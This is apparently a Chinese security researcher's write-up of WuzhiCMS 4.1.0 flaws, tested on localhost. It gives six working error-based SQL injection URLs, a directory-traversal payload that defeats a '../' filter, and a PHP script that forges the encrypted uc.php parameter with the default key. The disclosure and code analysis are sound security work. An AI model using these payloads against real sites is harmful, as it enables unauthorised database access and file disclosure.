0x00 漏洞详情

五指cms版本: 4.1.0

1. sql注入1

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa

2. sql注入2

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

3. sql注入3

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)=' --+&_su=wuzhicms&XDEBUG_SESSION_START=15454

4. sql注入4

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=pay&f=index&v=listing&keytype=0&_su=wuzhicms&_menuid=36&search=&fieldtype=0&keyValue='+and+updatexml(7,concat(0x7e,user(),0x7e),7)%23&status=&starttime=&endtime=&XDEBUG_SESSION_START=15454

5. sql注入5

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=%27+and+updatexml(7,concat(0x7e,(user()),0x7e),7)%23&XDEBUG_SESSION_START=15454

6. sql注入6

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?m=order&f=goods&v=listing&_su=wuzhicms&_menuid=220&search=&cardtype=-1&keytype=0&keywords='and+extractvalue(1,concat(0x7e,user()))%23&XDEBUG_SESSION_START=15454

7. 文件遍历

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31

0x01 代码分析

这里主要分析第1,2,7 这三个漏洞,因为2,3,4,5,6漏洞都属于同一原因造成的sql注入。

1. sql注入1 代码分析

漏洞主要产生的原因是:获取到code后,先去_authcode解密,然后通过parse_str函数进行对解密后的字符串进行解析,保存到$get数组中,最后将get数组中的username带入数据库查询,中间没有任何过滤。
payload:

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa

首先查看www/api/uc.php文件30-37行

$code = isset($GLOBALS['code']) ? $GLOBALS['code'] : '';
$get = $GLOBALS;
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) $get = _stripslashes($get);

if(empty($get))exit('Invalid Request');
if(SYS_TIME - $get['time'] > 3600) exit('Authracation has expiried');
if($get['time']>SYS_TIME+3600) exit('Authracation time error');

先获取code值,然后进行parse_str(_authcode($code, 'DECODE', UC_KEY), $get) 解密和变量注册,然后判断get数组中的time和现在的time相差是否在3600范围。

来看看_authcode($code, 'DECODE', UC_KEY)执行情况
$code是我们传入的,UC_KEY的默认值e063rbkHX22RAvIg,插入的编码方式是decode解码DECODE

跟进_authcode函数,该函数在 api/uc.php 192行



在232行返回结果:return substr($result, 26);


直到代码运行到api/uc.php的43-51行

if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
    $uc_note = new uc_note();
    header('Content-type: text/html; charset='.CHARSET);
    $action = $get['action'];
    echo $uc_note->$action($get, $post);
    exit();
} else {
    exit(API_RETURN_FAILED);
}

$action = $get['action'];从数组中获取action的值为:synlogin
然后继续执行echo $uc_note->$action($get, $post);调用uc_note类的synlogin函数,这个函数在api/uc.php的90行


重点来了!!
在synlogin函数中,获取$get数组中的username的值拼接到sql语句后,进行sql查询

到此sql注入分析完成了。然后返回来看看如何获取到code的值。
在整个流程中,我们用到了get数组中的time action username,以及UC_KEY

UC_KEY的默认值在wuzhicms\caches\member\setting.WDnsW.php 值为:e063rbkHX22RAvIg

我们还需要在解密后得到 time action username .所以我们可以构造一个payload, 其中action值必须为synlogin,username为注入的payload:a" and extractvalue(1,concat(0x7e,user()))#
整体的payload

$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';

将payload在_authcode函数中加密,function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0),operation擦参数选择encode

生成code的php payload为:

<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
//echo $result;
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}

$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
$code= urlencode(_authcode($payload, 'encode', 'e063rbkHX22RAvIg'));
echo ($code);
?>

2. sql注入2 代码分析

payload

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

直接将代码定位到 /wuzhicms/coreframe/app/promote/dmin/index.php文件42行search函数


执行sql语句

执行栈


如此看来获取到keywords参数后,只过滤了%20 %27其他字符没有过滤,因此造成了sql注入
sql注入 3 4 5 6 原理相似,不一一列举了

3. 文件遍历代码分析

payload

http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31

直接查看wuzhicms\coreframe\app\template\admin\index.php文件的listing函数22行

public function listing() {
        $dir = $this->dir;
        $lists = glob(TPL_ROOT.$dir.'/'.'*');

        //if(!empty($lists)) rsort($lists);
        $cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
        $show_dialog = 1;
        include $this->template('listing');
    }

$dir = $this->dir; dir值获取在构造函数中 16-20行

function __construct() {
        $this->db = load_class('db');
        $this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
        $this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);
    }

获取用户输入的dir,将其中的 ...\ ../ ./ .\替换成空,我们只要绕过这个过滤便可以遍历文件了。
过滤的顺序是 ..\ ../ ./ .\
如果我们输入的是: /../ 执行完过滤后只剩下/
若输入的是: /..../ 先过滤 ../ 剩下 /../ 接着会过滤 ./ 最后只剩下 /.
为了得到2个'.' 输入: /...../ 先过滤 ../ 剩下 /...
多了一个点,如果过滤 ../剩下的是 /...// ,在过滤一个./ 最后会得到一个 /../
因此我们构造的payload为: /...../// 即可使dir为/../便可查看上一级目录

源链接

Hacking more

...